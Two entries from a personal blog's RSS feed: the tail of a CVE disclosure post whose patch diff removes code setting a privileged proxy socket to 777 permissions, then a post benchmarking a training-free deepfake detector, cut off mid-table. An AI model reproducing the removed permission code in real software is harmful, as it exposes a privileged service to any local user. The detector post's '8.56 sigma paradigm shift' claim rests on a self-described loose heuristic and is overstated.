background-color: null;
font-style: inherit;">-            tokio::spawn(async move {</span></span>
<span id="cb4-23"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                tokio::time::sleep(std::time::Duration::from_millis(125)).await;</span></span>
<span id="cb4-24"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                let target = Path::new("/tmp/verge/verge-mihomo.sock");</span></span>
<span id="cb4-25"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                info!("Setting permissions for {:?}", target);</span></span>
<span id="cb4-26"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                if !target.exists() {</span></span>
<span id="cb4-27"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                    warn!("{:?} does not exist, skipping permission setting", target);</span></span>
<span id="cb4-28"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                    return;</span></span>
<span id="cb4-29"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                }</span></span>
<span id="cb4-30"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                match fs::set_permissions(target, Permissions::from_mode(0o777)).await {</span></span>
<span id="cb4-31"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                    Ok(_) =&gt; info!("Permissions set to 777 for {:?}", target),</span></span>
<span id="cb4-32"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                    Err(e) =&gt; warn!("Failed to set permissions for {:?}: {}", target, e),</span></span>
<span id="cb4-33"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-                }</span></span>
<span id="cb4-34"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-            });</span></span>
<span id="cb4-35"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-        }</span></span>
<span id="cb4-36"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-    }</span></span>
<span id="cb4-37"><span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">-</span></span>
<span id="cb4-38">     pub async fn after_stop(&amp;self) {</span>
<span id="cb4-39"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">@@ -121,10 +98,24 @@</span></span>
<span id="cb4-40">         set_or_update_writer(writer_config).await?;</span>
<span id="cb4-41">         let shared_writer = get_writer().unwrap();</span>
<span id="cb4-42"> </span>
<span id="cb4-43"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+        #[cfg(not(unix))]</span></span>
<span id="cb4-44">         let child = Command::new(bin_path)</span>
<span id="cb4-45">             .args(args)</span>
<span id="cb4-46">             .stdout(Stdio::piped())</span>
<span id="cb4-47">             .stderr(Stdio::piped())</span>
<span id="cb4-48">             .spawn()?;</span>
<span id="cb4-49"> </span>
<span id="cb4-50"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+        #[cfg(unix)]</span></span>
<span id="cb4-51"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+        let child = unsafe {</span></span>
<span id="cb4-52"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+            Command::new(bin_path)</span></span>
<span id="cb4-53"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                .args(args)</span></span>
<span id="cb4-54"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                .stdout(Stdio::piped())</span></span>
<span id="cb4-55"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                .stderr(Stdio::piped())</span></span>
<span id="cb4-56"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                .pre_exec(|| {</span></span>
<span id="cb4-57"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                    platform_lib::umask(0o002);</span></span>
<span id="cb4-58"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                    Ok(())</span></span>
<span id="cb4-59"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                })</span></span>
<span id="cb4-60"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+                .spawn()?</span></span>
<span id="cb4-61"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+        };</span></span>
<span id="cb4-62"><span class="va" style="color: #111111;
background-color: null;
font-style: inherit;">+</span></span>
<span id="cb4-63">         let mut child_guard = ChildGuard(Some(child));</span></code></pre></div></div>
</div>
</section>
</section>
<section id="final-reflections-beyond-the-patch" class="level2">
<h2 class="anchored" data-anchor-id="final-reflections-beyond-the-patch">📜 Final Reflections: Beyond the Patch</h2>
<p>As of today, the remediation code has been merged into the upstream repository for <strong>over 70 days</strong>. Given the high patch adoption rate and the stability of the current releases, I have decided to proceed with this <strong>responsible public disclosure</strong> ahead of the standard 90-day window to facilitate broader security research and community audit.</p>
<p>On a personal note, while this audit uncovered a critical vulnerability, <strong>Data Science</strong> remains my primary field of study. Security auditing, in this context, was a serendipitous byproduct of troubleshooting a system rendering glitch—a reminder that in a complex software ecosystem, a keen eye for data patterns and logs can often uncover critical flaws hiding in plain sight.</p>
<blockquote class="blockquote">
<p><em>“Security is not a product, but a process—and sometimes, that process starts with a simple GPU driver crash.”</em></p>
</blockquote>
<p>And as for the rendering conflict that triggered this whole investigation… I can only echo the words of <strong>Linus Torvalds</strong> when dealing with this particular hardware vendor:</p>
<p><strong>“So, NVIDIA: LOVE YOU❤️”</strong></p>
<div class="quarto-figure quarto-figure-center">
<figure class="figure">
<p><img src="https://kaguranaku.me/posts/CVE-2026-26422/images/A_BIG_thumbs_up.jpg" class="img-fluid figure-img"></p>
<figcaption>A BIG thumbs up, LOVE from linus❤️</figcaption>
</figure>
</div>


</section>
</section>

 ]]></description>
  <category>Security</category>
  <category>Linux</category>
  <category>Vulnerability Analysis</category>
  <guid>https://kaguranaku.me/posts/CVE-2026-26422/</guid>
  <pubDate>Tue, 10 Mar 2026 00:00:00 GMT</pubDate>
  <media:content url="https://kaguranaku.me/posts/CVE-2026-26422/images/diagram.png" medium="image" type="image/png" height="177" width="144"/>
</item>
<item>
  <title>Less Data, Less Learning</title>
  <dc:creator>KaguraNaku </dc:creator>
  <link>https://kaguranaku.me/posts/lightning/</link>
  <description><![CDATA[ 





<section id="less-data-less-learning" class="level1">
<h1>Less Data, Less Learning</h1>
<section id="the-additive-fallacy-four-fold-paradox" class="level2">
<h2 class="anchored" data-anchor-id="the-additive-fallacy-four-fold-paradox">The Additive Fallacy &amp; Four-fold Paradox</h2>
<p>Current pre-trained models <strong>leverage billions of images</strong> to converge through iterative optimization.</p>
<p>Previously, <strong>LoRA-based approaches</strong> were the predominant PEFT methods, implementing low-rank adaptation through an <strong>additive logic</strong> <span class="citation" data-cites="han2024parameter">(Han et al. 2024)</span>. However, in my view, those could lead to model’s pre-trained knowledge being ‘hijacked’ by a <strong>disproportionately small amount of data</strong>, causing a <strong>domain shift</strong> away from the original weight distribution.</p>
<p>In fact, I argue that LoRA<span class="citation" data-cites="hu2022lora">(<span class="nocase">Hu et al.</span> 2022)</span> is inherently trapped in a <strong>four-fold paradox</strong>:</p>
<blockquote class="blockquote">
<p><strong>1. From the perspective of data scale:</strong> If the data volume is sufficiently large, LoRA becomes redundant compared to full fine-tuning; if the data volume is small, it inevitably introduces severe bias and shortcut learning.</p>
<p><strong>2. From the perspective of domain gap:</strong> If the target domain is close to the pre-training domain, LoRA’s low-rank updates tend to <em>hijack</em> and <em>distort</em> the optimal weight manifold, obliterating the model’s zero-shot generalization capabilities; conversely, if the domain gap is significantly large, LoRA fundamentally fails to exploit the immense parametric dividends of the base model.</p>
</blockquote>
<p>We evaluated a series of SOTA architectures spanning from 2019 to 2026. This lineup tracks the field’s evolution, including Xception <span class="citation" data-cites="rossler2019faceforensics">(Rossler et al. 2019)</span>, F3Net <span class="citation" data-cites="qian2020thinking">(Qian et al. 2020)</span>, Core <span class="citation" data-cites="ni2022core">(Ni et al. 2022)</span>, UCF <span class="citation" data-cites="yan2023ucf">(Yan et al. 2023)</span>, ProDet <span class="citation" data-cites="cheng2024can">(Cheng et al. 2024)</span>, ForAda <span class="citation" data-cites="cui2025forensics">(Cui et al. 2025)</span>, Effort <span class="citation" data-cites="yan2025orthogonal">(Yan et al. 2025)</span>, GenD <span class="citation" data-cites="yermakov2026deepfake">(Yermakov et al. 2026)</span>, and our proposed Lightning. The average AUC performance of these models on OpenFake<span class="citation" data-cites="livernoche2025openfake">(Livernoche et al. 2025)</span>—a large-scale dataset comprising several in-the-wild text-to-image subsets—is summarized as follows.</p>
<div class="cell" data-quarto-private-1="{&quot;key&quot;:&quot;execution&quot;,&quot;value&quot;:{&quot;iopub.execute_input&quot;:&quot;2026-03-09T14:20:48.018969Z&quot;,&quot;iopub.status.busy&quot;:&quot;2026-03-09T14:20:48.018718Z&quot;,&quot;iopub.status.idle&quot;:&quot;2026-03-09T14:20:49.600613Z&quot;,&quot;shell.execute_reply&quot;:&quot;2026-03-09T14:20:49.600165Z&quot;}}" data-tags="[&quot;hide&quot;]" data-execution_count="1">
<div id="tbl-summary" class="cell quarto-float quarto-figure quarto-figure-center anchored" data-quarto-private-1="{&quot;key&quot;:&quot;execution&quot;,&quot;value&quot;:{&quot;iopub.execute_input&quot;:&quot;2026-03-09T14:20:48.018969Z&quot;,&quot;iopub.status.busy&quot;:&quot;2026-03-09T14:20:48.018718Z&quot;,&quot;iopub.status.idle&quot;:&quot;2026-03-09T14:20:49.600613Z&quot;,&quot;shell.execute_reply&quot;:&quot;2026-03-09T14:20:49.600165Z&quot;}}" data-execution_count="1" data-tags="[&quot;hide&quot;]">
<figure class="quarto-float quarto-float-tbl figure">
<figcaption class="quarto-float-caption-top quarto-float-caption quarto-float-tbl" id="tbl-summary-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
Table&nbsp;1: Zero-Shot Cross-Generator Benchmarking Summary. Mean performance metrics across all unseen generators.
</figcaption>
<div aria-describedby="tbl-summary-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
<div class="cell-output cell-output-display">
<style type="text/css">
#T_a6ae9 th {
  white-space: nowrap;
  text-align: center;
  padding: 8px 12px;
}
#T_a6ae9 td {
  text-align: center;
  padding: 8px 12px;
}
#T_a6ae9_row0_col1, #T_a6ae9_row0_col3, #T_a6ae9_row0_col4, #T_a6ae9_row0_col5, #T_a6ae9_row1_col2 {
  background-color: #39C5BB;
  color: white;
  font-weight: bold;
}
</style>

<table id="T_a6ae9" class="cell caption-top table table-sm table-striped small">
<thead>
<tr class="header">
<th id="T_a6ae9_level0_col0" class="col_heading level0 col0" data-quarto-table-cell-role="th">Model</th>
<th id="T_a6ae9_level0_col1" class="col_heading level0 col1" data-quarto-table-cell-role="th">AUC</th>
<th id="T_a6ae9_level0_col2" class="col_heading level0 col2" data-quarto-table-cell-role="th">ACC</th>
<th id="T_a6ae9_level0_col3" class="col_heading level0 col3" data-quarto-table-cell-role="th">BAL_AP</th>
<th id="T_a6ae9_level0_col4" class="col_heading level0 col4" data-quarto-table-cell-role="th">EER</th>
<th id="T_a6ae9_level0_col5" class="col_heading level0 col5" data-quarto-table-cell-role="th">AP</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td id="T_a6ae9_row0_col0" class="data row0 col0">Lightning</td>
<td id="T_a6ae9_row0_col1" class="data row0 col1">0.7566</td>
<td id="T_a6ae9_row0_col2" class="data row0 col2">0.7720</td>
<td id="T_a6ae9_row0_col3" class="data row0 col3">0.7340</td>
<td id="T_a6ae9_row0_col4" class="data row0 col4">0.3037</td>
<td id="T_a6ae9_row0_col5" class="data row0 col5">0.1189</td>
</tr>
<tr class="even">
<td id="T_a6ae9_row1_col0" class="data row1 col0">Gend</td>
<td id="T_a6ae9_row1_col1" class="data row1 col1">0.5869</td>
<td id="T_a6ae9_row1_col2" class="data row1 col2">0.8299</td>
<td id="T_a6ae9_row1_col3" class="data row1 col3">0.5592</td>
<td id="T_a6ae9_row1_col4" class="data row1 col4">0.4332</td>
<td id="T_a6ae9_row1_col5" class="data row1 col5">0.0409</td>
</tr>
<tr class="odd">
<td id="T_a6ae9_row2_col0" class="data row2 col0">Xception</td>
<td id="T_a6ae9_row2_col1" class="data row2 col1">0.5601</td>
<td id="T_a6ae9_row2_col2" class="data row2 col2">0.7849</td>
<td id="T_a6ae9_row2_col3" class="data row2 col3">0.5536</td>
<td id="T_a6ae9_row2_col4" class="data row2 col4">0.4574</td>
<td id="T_a6ae9_row2_col5" class="data row2 col5">0.0389</td>
</tr>
<tr class="even">
<td id="T_a6ae9_row3_col0" class="data row3 col0">Prodet</td>
<td id="T_a6ae9_row3_col1" class="data row3 col1">0.5544</td>
<td id="T_a6ae9_row3_col2" class="data row3 col2">0.1400</td>
<td id="T_a6ae9_row3_col3" class="data row3 col3">0.5525</td>
<td id="T_a6ae9_row3_col4" class="data row3 col4">0.4601</td>
<td id="T_a6ae9_row3_col5" class="data row3 col5">0.0366</td>
</tr>
<tr class="odd">
<td id="T_a6ae9_row4_col0" class="data row4 col0">Effort</td>
<td id="T_a6ae9_row4_col1" class="data row4 col1">0.5516</td>
<td id="T_a6ae9_row4_col2" class="data row4 col2">0.5338</td>
<td id="T_a6ae9_row4_col3" class="data row4 col3">0.5361</td>
<td id="T_a6ae9_row4_col4" class="data row4 col4">0.4639</td>
<td id="T_a6ae9_row4_col5" class="data row4 col5">0.0342</td>
</tr>
<tr class="even">
<td id="T_a6ae9_row5_col0" class="data row5 col0">F3Net</td>
<td id="T_a6ae9_row5_col1" class="data row5 col1">0.5300</td>
<td id="T_a6ae9_row5_col2" class="data row5 col2">0.3373</td>
<td id="T_a6ae9_row5_col3" class="data row5 col3">0.5199</td>
<td id="T_a6ae9_row5_col4" class="data row5 col4">0.4809</td>
<td id="T_a6ae9_row5_col5" class="data row5 col5">0.0320</td>
</tr>
<tr class="odd">
<td id="T_a6ae9_row6_col0" class="data row6 col0">UCF</td>
<td id="T_a6ae9_row6_col1" class="data row6 col1">0.5247</td>
<td id="T_a6ae9_row6_col2" class="data row6 col2">0.2727</td>
<td id="T_a6ae9_row6_col3" class="data row6 col3">0.5136</td>
<td id="T_a6ae9_row6_col4" class="data row6 col4">0.4855</td>
<td id="T_a6ae9_row6_col5" class="data row6 col5">0.0309</td>
</tr>
<tr class="even">
<td id="T_a6ae9_row7_col0" class="data row7 col0">ForAda</td>
<td id="T_a6ae9_row7_col1" class="data row7 col1">0.5178</td>
<td id="T_a6ae9_row7_col2" class="data row7 col2">0.6810</td>
<td id="T_a6ae9_row7_col3" class="data row7 col3">0.5154</td>
<td id="T_a6ae9_row7_col4" class="data row7 col4">0.4857</td>
<td id="T_a6ae9_row7_col5" class="data row7 col5">0.0351</td>
</tr>
<tr class="odd">
<td id="T_a6ae9_row8_col0" class="data row8 col0">Core</td>
<td id="T_a6ae9_row8_col1" class="data row8 col1">0.5153</td>
<td id="T_a6ae9_row8_col2" class="data row8 col2">0.6503</td>
<td id="T_a6ae9_row8_col3" class="data row8 col3">0.5103</td>
<td id="T_a6ae9_row8_col4" class="data row8 col4">0.4805</td>
<td id="T_a6ae9_row8_col5" class="data row8 col5">0.0314</td>
</tr>
</tbody>
</table>
</div>
</div>
</figure>
</div>
</div>
</section>
<section id="empirical-observation-catastrophic-forgetting" class="level2">
<h2 class="anchored" data-anchor-id="empirical-observation-catastrophic-forgetting">Empirical Observation: Catastrophic Forgetting</h2>
<blockquote class="blockquote">
<p>As shown in Table&nbsp;1, all iterative methods suffered from severe <strong>catastrophic forgetting</strong> when zero-shot transferring to OpenFake (after being trained on FaceForensics++).</p>
<p>In particular, PEFT methods based on LoRA (such as Effort, ForAda, and GenD)—which were originally designed to preserve pre-trained knowledge—have paradoxically collapsed, losing almost all the capability inherited from the pre-trained CLIP<span class="citation" data-cites="radford2021clip">(<span class="nocase">Radford et al.</span> 2021)</span>.</p>
<p>OpenFake consists of images generated by text-to-image models, which is theoretically CLIP’s forte. However, while Lightning (also based on CLIP) achieved an <strong>AUC of 0.76</strong>, other methods failed to <strong>even exceed 0.6</strong>. This stark contrast perfectly corresponds to the hypothesis we proposed earlier:</p>
<blockquote class="blockquote">
<p><em>“If the target domain is close to the pre-training domain, LoRA’s low-rank updates tend to <strong>hijack</strong> and <strong>distort</strong> the optimal weight manifold, obliterating the model’s zero-shot generalization capabilities.”</em></p>
</blockquote>
</blockquote>
</section>
<section id="hypothesis-the-delta-steering-vector" class="level2">
<h2 class="anchored" data-anchor-id="hypothesis-the-delta-steering-vector">Hypothesis: The Delta Steering Vector</h2>
<p>It is well known that models with more parameters are more prone to overfitting, which is precisely why LoRA has frequently achieved success by reducing the number of trainable parameters.</p>
<p>Interestingly, while numerous models are still struggling to compress parameters within the LoRA framework, Lightning proposes a gradient-free <strong>closed-form solution</strong>. By having absolutely <strong>zero trainable parameters</strong>, Lightning inherently minimizes the risk of domain overfitting.</p>
<p>Fundamentally, generative artifact detection is <strong>not a representation learning problem</strong>; it is a <strong>Signal-to-Noise Ratio (SNR) problem.</strong></p>
<p>In pre-trained Vision Transformers like CLIP, massive semantic features dominate the representation. For artifact detection, these semantics act as overwhelming background “noise” if not properly isolated. Iterative methods attempt to <em>add</em> parameters to navigate this noise, inevitably confusing the image content with the forensic signal (leading to overfitting).</p>
<p>But why navigate the noise when you can orthogonally decouple it? Instead of discarding the semantic features, we use them as a stable “Semantic Anchor” defining the authentic manifold. We then project the features into an orthogonal subspace to isolate the subtle forensic artifacts.</p>
<div id="cell-fig-paradigm" class="cell" data-quarto-private-1="{&quot;key&quot;:&quot;execution&quot;,&quot;value&quot;:{&quot;iopub.execute_input&quot;:&quot;2026-03-09T14:20:49.602046Z&quot;,&quot;iopub.status.busy&quot;:&quot;2026-03-09T14:20:49.601864Z&quot;,&quot;iopub.status.idle&quot;:&quot;2026-03-09T14:20:50.100574Z&quot;,&quot;shell.execute_reply&quot;:&quot;2026-03-09T14:20:50.100128Z&quot;}}" data-tags="[&quot;hide&quot;]" data-fig-width="14" data-execution_count="2">
<div class="cell-output cell-output-display">
<div id="fig-paradigm" class="quarto-float quarto-figure quarto-figure-center anchored" data-fig-align="center">
<figure class="quarto-float quarto-float-fig figure">
<div aria-describedby="fig-paradigm-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
<a href="index_files/figure-html/fig-paradigm-output-1.png" class="lightbox" data-gallery="quarto-lightbox-gallery-1" title="Figure&nbsp;1: Empirical distribution of baseline models compared to Lightning. Lightning escapes the gravitational pull of the iterative paradigm by 8.56 standard deviations."><img src="https://kaguranaku.me/posts/lightning/index_files/figure-html/fig-paradigm-output-1.png" class="img-fluid quarto-figure quarto-figure-center figure-img"></a>
</div>
<figcaption class="quarto-float-caption-bottom quarto-float-caption quarto-float-fig" id="fig-paradigm-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
Figure&nbsp;1: Empirical distribution of baseline models compared to Lightning. Lightning escapes the gravitational pull of the iterative paradigm by 8.56 standard deviations.
</figcaption>
</figure>
</div>
</div>
</div>
<section id="statistical-note-on-paradigm-modeling-while-performance-metrics-like-auc-are-bounded-manifolds-and-specific-model-architectures-are-not-strictly-independent-and-identically-distributed-i.i.d.-fitting-a-gaussian-distribution-over-the-baseline-population-serves-as-a-powerful-empirical-heuristic.-it-is-not-intended-as-a-strict-parametric-hypothesis-test-but-rather-to-quantify-the-gravitational-pull-of-the-current-iterative-paradigm.-escaping-this-pull-by-8.56sigma-visually-and-mathematically-defines-a-paradigm-shift." class="level6">
<h6 class="anchored" data-anchor-id="statistical-note-on-paradigm-modeling-while-performance-metrics-like-auc-are-bounded-manifolds-and-specific-model-architectures-are-not-strictly-independent-and-identically-distributed-i.i.d.-fitting-a-gaussian-distribution-over-the-baseline-population-serves-as-a-powerful-empirical-heuristic.-it-is-not-intended-as-a-strict-parametric-hypothesis-test-but-rather-to-quantify-the-gravitational-pull-of-the-current-iterative-paradigm.-escaping-this-pull-by-8.56sigma-visually-and-mathematically-defines-a-paradigm-shift."><em>Statistical Note on Paradigm Modeling: While performance metrics (like AUC) are bounded manifolds and specific model architectures are not strictly independent and identically distributed (i.i.d.), fitting a Gaussian distribution over the baseline population serves as a powerful empirical heuristic. It is not intended as a strict parametric hypothesis test, but rather to quantify the “gravitational pull” of the current iterative paradigm. Escaping this pull by <img src="https://latex.codecogs.com/png.latex?8.56%5Csigma"> visually and mathematically defines a paradigm shift.</em></h6>
<blockquote class="blockquote">
<p>While all prior methods remain trapped within the <strong><img src="https://latex.codecogs.com/png.latex?3%5Csigma"> boundary</strong>, our model achieves an unprecedented leap—outperforming the baseline by <strong>8.56 standard deviations in AUC</strong> and <strong>nearly 10 standard deviations in Balanced AP</strong>, effectively redefining the statistical limits of GenAI Detection.</p>
</blockquote>
</section>
</section>
<section id="appendix-detailed-sota-breakdown" class="level2">
<h2 class="anchored" data-anchor-id="appendix-detailed-sota-breakdown">Appendix: Detailed SOTA Breakdown</h2>
<div class="cell" data-quarto-private-1="{&quot;key&quot;:&quot;execution&quot;,&quot;value&quot;:{&quot;iopub.execute_input&quot;:&quot;2026-03-09T14:20:50.102091Z&quot;,&quot;iopub.status.busy&quot;:&quot;2026-03-09T14:20:50.101922Z&quot;,&quot;iopub.status.idle&quot;:&quot;2026-03-09T14:20:50.118848Z&quot;,&quot;shell.execute_reply&quot;:&quot;2026-03-09T14:20:50.118358Z&quot;}}" data-tags="[]" data-execution_count="3">
<div id="tbl-detailed" class="cell quarto-float quarto-figure quarto-figure-center anchored" data-quarto-private-1="{&quot;key&quot;:&quot;execution&quot;,&quot;value&quot;:{&quot;iopub.execute_input&quot;:&quot;2026-03-09T14:20:50.102091Z&quot;,&quot;iopub.status.busy&quot;:&quot;2026-03-09T14:20:50.101922Z&quot;,&quot;iopub.status.idle&quot;:&quot;2026-03-09T14:20:50.118848Z&quot;,&quot;shell.execute_reply&quot;:&quot;2026-03-09T14:20:50.118358Z&quot;}}" data-execution_count="3" data-tags="[]">
<figure class="quarto-float quarto-float-tbl figure">
<figcaption class="quarto-float-caption-top quarto-float-caption quarto-float-tbl" id="tbl-detailed-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
Table&nbsp;2: Detailed AUC Breakdown Across all T2I Generative Models.
</figcaption>
<div aria-describedby="tbl-detailed-caption-0ceaefa1-69ba-4598-a22c-09a6ac19f8ca">
<div class="cell-output cell-output-display">
<style type="text/css">
#T_78263 th {
  white-space: nowrap;
  text-align: center;
  padding: 8px 12px;
}
#T_78263 td {
  text-align: center;
  padding: 8px 12px;
}
#T_78263_row0_col1, #T_78263_row0_col2, #T_78263_row0_col3, #T_78263_row0_col4, #T_78263_row0_col5, #T_78263_row0_col7, #T_78263_row0_col8, #T_78263_row0_col9, #T_78263_row0_col10, #T_78263_row0_col11, #T_78263_row0_col13, #T_78263_row0_col14, #T_78263_row0_col15, #T_78263_row0_col16, #T_78263_row0_col20, #T_78263_row0_col21, #T_78263_row0_col22, #T_78263_row0_col23, #T_78263_row0_col24, #T_78263_row0_col26, #T_78263_row0_col27, #T_78263_row0_col28, #T_78263_row0_col29, #T_78263_row0_col30, #T_78263_row0_col31, #T_78263_row0_col32, #T_78263_row0_col33, #T_78263_row0_col34, #T_78263_row0_col35, #T_78263_row1_col25, #T_78263_row2_col17, #T_78263_row2_col18, #T_78263_row2_col19, #T_78263_row3_col6, #T_78263_row3_col12 {
  background-color: #39C5BB;
  color: white;
  font-weight: bold;
}
</style>

<table id="T_78263" class="cell caption-top table table-sm table-striped small">
<thead>
<tr class="header">
<th id="T_78263_level0_col0" class="col_heading level0 col0" data-quarto-table-cell-role="th">Model</th>
<th id="T_78263_level0_col1" class="col_heading level0 col1" data-quarto-table-cell-role="th">aurora-20-1-25</th>
<th id="T_78263_level0_col2" class="col_heading level0 col2" data-quarto-table-cell-role="th">chroma</th>
<th id="T_78263_level0_col3" class="col_heading level0 col3" data-quarto-table-cell-role="th">dalle-3</th>
<th id="T_78263_level0_col4" class="col_heading level0 col4" data-quarto-table-cell-role="th">flux-1.1-pro</th>
<th id="T_78263_level0_col5" class="col_heading level0 col5" data-quarto-table-cell-role="th">flux-amateursnapshotphotos</th>
<th id="T_78263_level0_col6" class="col_heading level0 col6" data-quarto-table-cell-role="th">flux-mvc5000</th>
<th id="T_78263_level0_col7" class="col_heading level0 col7" data-quarto-table-cell-role="th">flux-realism</th>
<th id="T_78263_level0_col8" class="col_heading level0 col8" data-quarto-table-cell-role="th">flux.1-dev</th>
<th id="T_78263_level0_col9" class="col_heading level0 col9" data-quarto-table-cell-role="th">flux.1-schnell</th>
<th id="T_78263_level0_col10" class="col_heading level0 col10" data-quarto-table-cell-role="th">frames-23-1-25</th>
<th id="T_78263_level0_col11" class="col_heading level0 col11" data-quarto-table-cell-role="th">gpt-image-1</th>
<th id="T_78263_level0_col12" class="col_heading level0 col12" data-quarto-table-cell-role="th">grok-2-image-1212</th>
<th id="T_78263_level0_col13" class="col_heading level0 col13" data-quarto-table-cell-role="th">halfmoon-4-4-25</th>
<th id="T_78263_level0_col14" class="col_heading level0 col14" data-quarto-table-cell-role="th">hidream-i1-full</th>
<th id="T_78263_level0_col15" class="col_heading level0 col15" data-quarto-table-cell-role="th">ideogram-2.0</th>
<th id="T_78263_level0_col16" class="col_heading level0 col16" data-quarto-table-cell-role="th">ideogram-3.0</th>
<th id="T_78263_level0_col17" class="col_heading level0 col17" data-quarto-table-cell-role="th">imagen-3.0-002</th>
<th id="T_78263_level0_col18" class="col_heading level0 col18" data-quarto-table-cell-role="th">imagen-4.0</th>
<th id="T_78263_level0_col19" class="col_heading level0 col19" data-quarto-table-cell-role="th">lumina-17-2-25</th>
<th id="T_78263_level0_col20" class="col_heading level0 col20" data-quarto-table-cell-role="th">midjourney-6</th>
<th id="T_78263_level0_col21" class="col_heading level0 col21" data-quarto-table-cell-role="th">midjourney-7</th>
<th id="T_78263_level0_col22" class="col_heading level0 col22" data-quarto-table-cell-role="th">mystic</th>
<th id="T_78263_level0_col23" class="col_heading level0 col23" data-quarto-table-cell-role="th">recraft-v2</th>
<th id="T_78263_level0_col24" class="col_heading level0 col24" data-quarto-table-cell-role="th">recraft-v3</th>
<th id="T_78263_level0_col25" class="col_heading level0 col25" data-quarto-table-cell-role="th">sd-1.5</th>
<th id="T_78263_level0_col26" class="col_heading level0 col26" data-quarto-table-cell-role="th">sd-1.5-dreamshaper</th>
<th id="T_78263_level0_col27" class="col_heading level0 col27" data-quarto-table-cell-role="th">sd-1.5-epicdream</th>
<th id="T_78263_level0_col28" class="col_heading level0 col28" data-quarto-table-cell-role="th">sd-2.1</th>
<th id="T_78263_level0_col29" class="col_heading level0 col29" data-quarto-table-cell-role="th">sd-3.5</th>
<th id="T_78263_level0_col30" class="col_heading level0 col30" data-quarto-table-cell-role="th">sdxl</th>
<th id="T_78263_level0_col31" class="col_heading level0 col31" data-quarto-table-cell-role="th">sdxl-epic-realism</th>
<th id="T_78263_level0_col32" class="col_heading level0 col32" data-quarto-table-cell-role="th">sdxl-juggernaut</th>
<th id="T_78263_level0_col33" class="col_heading level0 col33" data-quarto-table-cell-role="th">sdxl-realvis-v5</th>
<th id="T_78263_level0_col34" class="col_heading level0 col34" data-quarto-table-cell-role="th">sdxl-touchofrealism</th>
<th id="T_78263_level0_col35" class="col_heading level0 col35" data-quarto-table-cell-role="th">Avg</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td id="T_78263_row0_col0" class="data row0 col0">Lightning</td>
<td id="T_78263_row0_col1" class="data row0 col1">0.7361</td>
<td id="T_78263_row0_col2" class="data row0 col2">0.8595</td>
<td id="T_78263_row0_col3" class="data row0 col3">0.7207</td>
<td id="T_78263_row0_col4" class="data row0 col4">0.6229</td>
<td id="T_78263_row0_col5" class="data row0 col5">0.7092</td>
<td id="T_78263_row0_col6" class="data row0 col6">0.4007</td>
<td id="T_78263_row0_col7" class="data row0 col7">0.8152</td>
<td id="T_78263_row0_col8" class="data row0 col8">0.8315</td>
<td id="T_78263_row0_col9" class="data row0 col9">0.8406</td>
<td id="T_78263_row0_col10" class="data row0 col10">0.8556</td>
<td id="T_78263_row0_col11" class="data row0 col11">0.6419</td>
<td id="T_78263_row0_col12" class="data row0 col12">0.5790</td>
<td id="T_78263_row0_col13" class="data row0 col13">0.8498</td>
<td id="T_78263_row0_col14" class="data row0 col14">0.7828</td>
<td id="T_78263_row0_col15" class="data row0 col15">0.8624</td>
<td id="T_78263_row0_col16" class="data row0 col16">0.8147</td>
<td id="T_78263_row0_col17" class="data row0 col17">0.5963</td>
<td id="T_78263_row0_col18" class="data row0 col18">0.6449</td>
<td id="T_78263_row0_col19" class="data row0 col19">0.7666</td>
<td id="T_78263_row0_col20" class="data row0 col20">0.7168</td>
<td id="T_78263_row0_col21" class="data row0 col21">0.8785</td>
<td id="T_78263_row0_col22" class="data row0 col22">0.7737</td>
<td id="T_78263_row0_col23" class="data row0 col23">0.6288</td>
<td id="T_78263_row0_col24" class="data row0 col24">0.7742</td>
<td id="T_78263_row0_col25" class="data row0 col25">0.7955</td>
<td id="T_78263_row0_col26" class="data row0 col26">0.7802</td>
<td id="T_78263_row0_col27" class="data row0 col27">0.7925</td>
<td id="T_78263_row0_col28" class="data row0 col28">0.8985</td>
<td id="T_78263_row0_col29" class="data row0 col29">0.8455</td>
<td id="T_78263_row0_col30" class="data row0 col30">0.8870</td>
<td id="T_78263_row0_col31" class="data row0 col31">0.6793</td>
<td id="T_78263_row0_col32" class="data row0 col32">0.7205</td>
<td id="T_78263_row0_col33" class="data row0 col33">0.7762</td>
<td id="T_78263_row0_col34" class="data row0 col34">0.8470</td>
<td id="T_78263_row0_col35" class="data row0 col35">0.7566</td>
</tr>
<tr class="even">
<td id="T_78263_row1_col0" class="data row1 col0">Gend</td>
<td id="T_78263_row1_col1" class="data row1 col1">0.6261</td>
